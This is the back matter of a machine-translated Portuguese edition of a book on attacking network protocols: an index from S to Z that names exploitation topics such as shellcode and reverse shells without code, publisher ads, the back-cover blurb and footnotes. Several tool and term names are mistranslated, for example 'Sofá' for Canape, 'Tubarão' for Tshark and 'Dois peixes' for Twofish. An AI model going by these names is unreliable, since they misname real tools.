Classe de estrutura, 199

formatos binários estruturados, 53–54

Linguagem de Consulta Estruturada (SQL)

injeção, 228–229

Servidor, 229

formatos de texto estruturados, 56–58

Instrução SUB, 115

chamada de sub-rotina, 118–119

caixas de substituição (S-Box), 152

cifras de substituição, 147

Rede de substituição-permutação, 152

Sulley, 287
SuperFunkyChat

análise proxy

tráfego capturado, 183–187

cliente de rede simples, 184–186

servidor simples, 186–188

Cliente de bate-papo, 81, 83–84, 106, 200

ChatServer, 80, 106

comandos, 81

comunicação entre clientes, 81

dissecadores, 95–103

código do analisador para, 107

clientes iniciais, 80–81

Iniciando o servidor, 80

Modo UDP, 97

dispositivo de comutação, 6
informação simbólica, 129–131

criptografia de chave simétrica, 149. Veja também criptografia


de chave assimétrica.

cifras de bloco, 150–159

cifras de fluxo, 158–159

algoritmos de assinatura simétrica, 166

sinalizador de sincronização (SYN), 41

API do sistema, 268

Conjunto do sistema, 141

chamadas de sistema

aceitar, 123

vincular, 15

conectar, 15

saída, 260–261

aberto, 18
ler, 15, 18, 122

recv, 15, 122–123

recvfrom, 15

enviar, 15, 122–123

enviar de, 15

código shell, 259–262

soquete, 15

rastreamento, 14–19

Sistemas do tipo Unix, 15–16, 122

escreva, 15, 18, 122, 261–263

função do sistema, 228

Classe [Link] (.NET), 191

Classe [Link] (.NET), 190

Classe [Link] (.NET), 190

Classe [Link] (.NET), 190


Classe [Link] (.NET), 190

Classe [Link] (.NET), 190

Classe [Link] (.NET), 190

tag, length, value (TLV) pattern, 50–51, 89, 94–95

TCP. Veja Protocolo de Controle de Transmissão (TCP).

TCPDump, 278–279

TCP/IP, 2, 9–10, 121, 262

Guia TCP/IP, 16

TCPNetworkListener (ILSpy), 140

dados finalizados, 47–48

texto terminado, 56

Instruções de TESTE, 115, 119

buffer virtual irritadiço (TVB), 99

protocolos de texto, 54
Booleanos, 55

datas, 55

dados numéricos, 55

formatos de texto estruturados, 56–58

vezes, 55

dados de comprimento variável, 55

substituição de caracteres de codificação de texto, 229–231

fios, 120–121

vezes, 49–50, 55

TLS. Consulte Segurança da Camada de Transporte (TLS).

Protocolo de registro TLS, 172

Padrão TLV (etiqueta, comprimento, valor), 50–51, 89, 94–95

Método ToDataString(), 186

ficha, 56

ferramentas
para captura e análise ativa de redes

Sofá, 280–281

Sofá Core, 281

Mallory, 281–282

teste de fuzz

American Fuzzy Lop, 285–286

Kali Linux, 286

Metasploit, 286

Scapy, 286

Sulley, 286

testes de conectividade de rede e protocolo

Hping, 282

Netcat, 282

Nmap, 282–283

para falsificação e redirecionamento de rede


DNSMasq, 287

Ettercap, 287–288

para captura e análise passiva de redes

LibPCAP, 278–279

Analisador de mensagens da Microsoft, 278

TCPDump, 278–279

engenharia reversa

Hopper, 289–290

IDA Pro, 289

ILSpy, 290

Descompilador Java, 288

.NET Reflector, 290–291

para testes de aplicações web

Suíte Burp, 283–284

Mitmproxy, 284–285
Proxy de Ataque Zed, 284

arquivo traceconnect.d, 16

traceroute, 64–65

tracert (Windows), 64–65

tráfego

análise usando proxy, 103

capturando

método ativo, 20

HTTP, 29–35

homem-no-meio, 20

método passivo, 12–20

encaminhamento de portas, 21–24

proxies, 20–35

MEIAS, 24–29

rastreamento de chamadas de sistema, 14–19


ferramentas de captura

Dtrace, 17–18

Netcat, 180–182

Ferramenta Process Monitor, 18–19

strace, 16

gerando, 83–84

saída, 89

Protocolo de Controle de Transmissão (TCP), 2–3, 21

flags de bits, 41

Conexão do cliente com o servidor, 121–123

cabeçalho, 5, 87

Proxy HTTP, 30

pacotes, 87–88

números de porta, 5

proxy de encaminhamento de portas, 21–22, 201


leitura do conteúdo das sessões, 85–86

concha reversa, 265–266

Proxy SOCKS, 24–28

fluxo, 13–14

camada de transporte, 3, 6, 8–10

Segurança da Camada de Transporte (TLS)

afixação de certificado, 177

certificado do cliente, 175

decriptação, 201–202

criptografia, 175–176, 200–201

autenticação de ponto final, 174–175

forçando TLS 1.2, 202

aperto de mãos, 172–173

negociação inicial, 173

sigilo perfeito para frente, 177


substituindo certificado em, 202–206

requisitos de segurança, 176–177

Protocolo de registro TLS, 172

funções de alçapão, 160

Triple DES, 151

Verdade, 55

autoridades de certificação raiz confiáveis, 204

Tubarão, 180–182

TVB (buffer virtual irritadiço), 99

Dois peixes, 152

complemento de dois, 39

UCS (Conjunto de Caracteres Universal), 44–45

UDP. Consulte Protocolo de Datagrama do Usuário (UDP).

UI (interface do usuário), 4
comando uname, 263–264

Unicode

codificação de caracteres, 44–45

mapeamento de caracteres, 44–45

UCS-2/UTF-16, 45

UCS-4/UTF-32, 45

Formato de Transformação Unicode (UTF), 44–45

Modo de captura unificada (Ettercap), 76

Identificador Uniforme de Requisição (URI), 30, 32

dados não inicializados, 120

Conjunto de caracteres universal (UCS), 44–45

Sistemas do tipo Unix, 5

Falhas na implementação do ASLR em, 272

Sintaxe da AT&T, 116

injeção de comando, 228


utilitários de linha de comando ativados, 31

Configurando DNAT ativado, 70

Dtrace, 16

habilitando o roteamento, 67

códigos de erro, 262

formato executável, 120

arquivo hosts, 23

ler e escrever chamadas, 122

tabelas de roteamento ativadas, 65

chamadas de sistema, 15–16, 122

traceroute, 64

Valor Unk2, 93–95

executáveis não gerenciados, 195–199

bibliotecas dinâmicas, 195–196

Palavra-chave insegura, 210


inteiros sem sinal, 38

UPX, 134

URI (Identificador Uniforme de Requisição), 30, 32

Protocolo de Datagrama do Usuário (UDP), 3

tráfego capturado, 182–183

dissecadores, 98–99

carga útil e cabeçalho, 5

encaminhamento portuário, 21

soquete, 122

enumeração de usuários, 218–219

interface do usuário (IU), 4

modo de usuário, 14

vulnerabilidade usuário-após-liberação, 249–250

UTF (Formato de Transformação Unicode), 44–45

UTF-8, 45–46
V

dados de comprimento binário variável

dados de comprimento implícito, 48–49

dados com prefixo de comprimento, 48

dados preenchidos, 49

dados finalizados, 47–48

estouro de buffer de comprimento variável, 211, 213–214

dados de comprimento variável, 56

inteiros de comprimento variável, 39–40

erros verbosos, 221–222

Verisign, 170

tabela de função virtual, 242, 248–249

anfitriões virtuais, 24

máquina virtual, 137

VirtualAlloc, 250
Visual C++, 129

vulnerabilidades

verificação de autenticação, 226

aulas

bypass de autenticação, 209

bypass de autorização, 209–210

negação de serviço, 208

divulgação de informações, 209

execução remota de código, 208

injeção de comando, 228

ataques de exaustão da CPU

complexidade algorítmica, 224–225

criptografia configurável, 224–225

Credenciais padrão ou codificadas, 218

explorando
escrita arbitrária da memória, 253–254

alocações de pool de memória definidas, 252–253

manipulação do layout do heap, 249–250

Armazenamento de memória heap, 253

gravações de arquivos com privilégios elevados, 254–256

gravações de arquivos com privilégios baixos, 255

corrupção de memória, 245–253

vulnerabilidade usuário-após-liberação, 249–250

string de formato, 227

teste de fuzz, 234–236

acesso incorreto ao recurso

canonicalização, 220–221

erros verbosos, 221–222

corrupção de memória

estouro de buffer, 210–215


ataque de expansão de dados, 217

falhas de alocação dinâmica de memória, 217

explorar medidas de mitigação, 267–268

Linguagens com segurança de memória versus linguagens sem


segurança de memória, 210

indexação de buffer fora dos limites, 216–217

ataques de exaustão de memória, 222–223

código shell, 255–266

Injeção de SQL, 228–229

ataques de exaustão de armazenamento, 223–224

substituição de caracteres de codificação de texto, 229–231

triagem, 236–245

enumeração de usuários, 218–219

W3C, 58
ferramentas de teste de aplicações web, 283–285

Suíte Burp, 283–284

Mitmproxy, 284–285

Proxy de Ataque Zed, 284

teia de confiança (WOT), 169

wget, 31

ventoll, 199

Windows

Falhas na implementação do ASLR em, 272

Chamando funções com Python ativado, 199

gerente de certificados, 203

símbolos de depuração, 129

depurador, 236–241, 244–245

bibliotecas de vínculo dinâmico, 196

habilitando o roteamento, 67
TEMPO DE ARQUIVO, 50

Carregando biblioteca, 197

Page Heap, 244–245

registro, 67

Biblioteca Winsock, 121

XP SP2, 270

WinDump, 278

WinPcap, 278

Winsock, 121

Wireshark, 12–14, 81, 279–280

análise básica, 84–85

diálogo de interfaces de captura, 82–83

Janela de conversas, 84–85

dissecadores, 95–103

geração de tráfego de rede em, 83–84


Visualização do despejo hexadecimal, 86–95

janela principal, 82

leitura do conteúdo das sessões TCP em, 85–86

Versão de linha de comando do Tshark, 180–182

WOT (teia de confiança), 169

escrever chamada de sistema, 15, 18, 122, 261–263

Função WriteData(), 108

Método WritePackets(), 22

ws2_32.dll Biblioteca de rede do Windows, 130–131

Certificados X.509, 53–54, 169–171, 173

Série X.680, 53

Arquitetura x86, 42, 125

história, 114

mnemônicos de instrução, 115


arquitetura do conjunto de instruções, 114–116

formas mnemônicas, 115

fluxo do programa, 118–119

registros, 116–118

xcalc, 228

Esquema XML, 58

Criptografia XOR, 108–109, 148–149, 153–154

Instrução XOR, 115

Parâmetro XOR, 108–109

Função xp_cmdshell, 229

Ferramenta xxd, 90, 181

Zed Attack Proxy (ZAP), 284

bandeira zero, 117

Biblioteca de compressão ZLib, 132


RECURSOS

Acesse [Link] para obter


recursos, erratas e mais informações.

Mais livros objetivos da editora NO STARCH PRESS

ROOTKITS E BOOTKITS

Reversão de malware moderno e ameaças de próxima


geração

Por Alex Matrosov, Eugene

RODIONOV e SERGEY BRATUS


PRIMAVERA DE 2018, 504 PP., $49,95

ISBN 978-1-59327-716-1

CRIPTOGRAFIA SÉRIA

Uma Introdução Prática à Criptografia Moderna

por JEAN-PHILIPPE AUMASSON

Novembro de 2017, 312 páginas, US$ 49,95

ISBN 978-1-59327-826-7
CHAPÉU CINZA DÓ#

Um guia para hackers sobre como criar e automatizar


ferramentas de segurança.

Por Brandon Perry

JUNHO DE 2017, 304 PÁGINAS, US$ 39,95

ISBN 978-1-59327-759-8
ANÁLISE DE PACOTES PRÁTICOS, 3ª EDIÇÃO

Utilizando o Wireshark para solucionar problemas de rede


do mundo real

Por Chris Sanders

Abril de 2017, 368 páginas, US$ 49,95

ISBN 978-1-59327-802-1
O HACKER DE HARDWARE

Aventuras na fabricação e desmontagem de ferragens

Por ANDREW “BUNNIE” HUANG

MARÇO DE 2017, 416 PÁGINAS, US$ 29,95

ISBN 978-1-59327-758-1

capa dura
PYTHON DE CHAPÉU PRETO

Programação em Python para Hackers e Testadores de


Penetração

Por Justin Seitz

DEZEMBRO DE 2014, 192 PÁGINAS, US$ 34,95

ISBN 978-1-59327-590-7

TELEFONE:
1.800.420.7240 OU +1.415.863.9900

E-MAIL:
sales@[Link]
WEB:
[Link]
“James consegue ver a Dama de Vestido
Vermelho, assim como o código que a
criou, na Matrix.”— Katie Moussouris,
fundadora e CEO da Luta Security

Ataques a Protocolos de Rede é um estudo aprofundado sobre


segurança de protocolos de rede escrito por James Forshaw, um
dos maiores especialistas em detecção de bugs do mundo. Este
guia completo analisa redes da perspectiva de um atacante para
ajudar você a descobrir, explorar e, em última instância,
proteger-se contra vulnerabilidades.

Você começará com uma visão geral dos conceitos básicos de


redes e captura de tráfego de protocolo antes de prosseguir
para a análise estática e dinâmica de protocolos, estruturas
comuns de protocolos, criptografia e segurança de protocolos.
Em seguida, você se concentrará em encontrar e explorar
vulnerabilidades, com uma visão geral das classes de bugs
comuns, fuzzing, depuração e ataques de exaustão.

Aprenda como:

• Capturar, manipular e reproduzir pacotes


• Desenvolver ferramentas para analisar o tráfego e realizar
engenharia reversa de código para compreender o
funcionamento interno de um protocolo de rede.

• Descobrir e explorar vulnerabilidades como corrupção de


memória, bypass de autenticação e ataques de negação de
serviço.

• Utilize ferramentas de captura e análise como o Wireshark e


desenvolva seus próprios proxies de rede personalizados para
manipular o tráfego de rede.

O livro "Attacking Network Protocols" é essencial para qualquer


profissional de testes de penetração, caçador de bugs ou
desenvolvedor que busque compreender e descobrir
vulnerabilidades de rede.

Sobre o autor

James Forshaw é um renomado pesquisador de segurança da


computação no Google Project Zero e criador da ferramenta de
análise de protocolos de rede Canape. Sua descoberta de
problemas complexos de design no Microsoft Windows lhe
rendeu a maior recompensa por bugs, no valor de US$ 100.000,
e o colocou como o pesquisador número 1 na lista publicada
pelo Centro de Resposta de Segurança da Microsoft (MSRC). Ele
foi convidado a apresentar suas pesquisas inovadoras em
segurança em conferências globais de segurança, como Black
Hat, CanSecWest e Chaos Computer Congress.

O MELHOR DO ENTRETENIMENTO GEEK™

[Link]
Notas de rodapé

Capítulo 2: Capturando o tráfego do aplicativo

1. Um loop de proxy ocorre quando um proxy se conecta repetidamente a si mesmo, causando


um loop recursivo. O resultado só pode ser desastroso, ou pelo menos o esgotamento dos

recursos disponíveis.

Capítulo 3: Estruturas de Protocolos de Rede

1. Basta perguntar a quem já tentou analisar HTML em busca de código de script incorreto o
quão difícil essa tarefa pode ser sem um formato rígido.

Capítulo 6: Engenharia Reversa de Aplicações

1. A Apple adotou a arquitetura x86 em 2006. Antes disso, a Apple utilizava a arquitetura

PowerPC. Os PCs, por outro lado, sempre foram baseados na arquitetura x86.

2. Isso não é totalmente preciso: muitas placas de rede podem realizar algum processamento em
hardware.

Você também pode gostar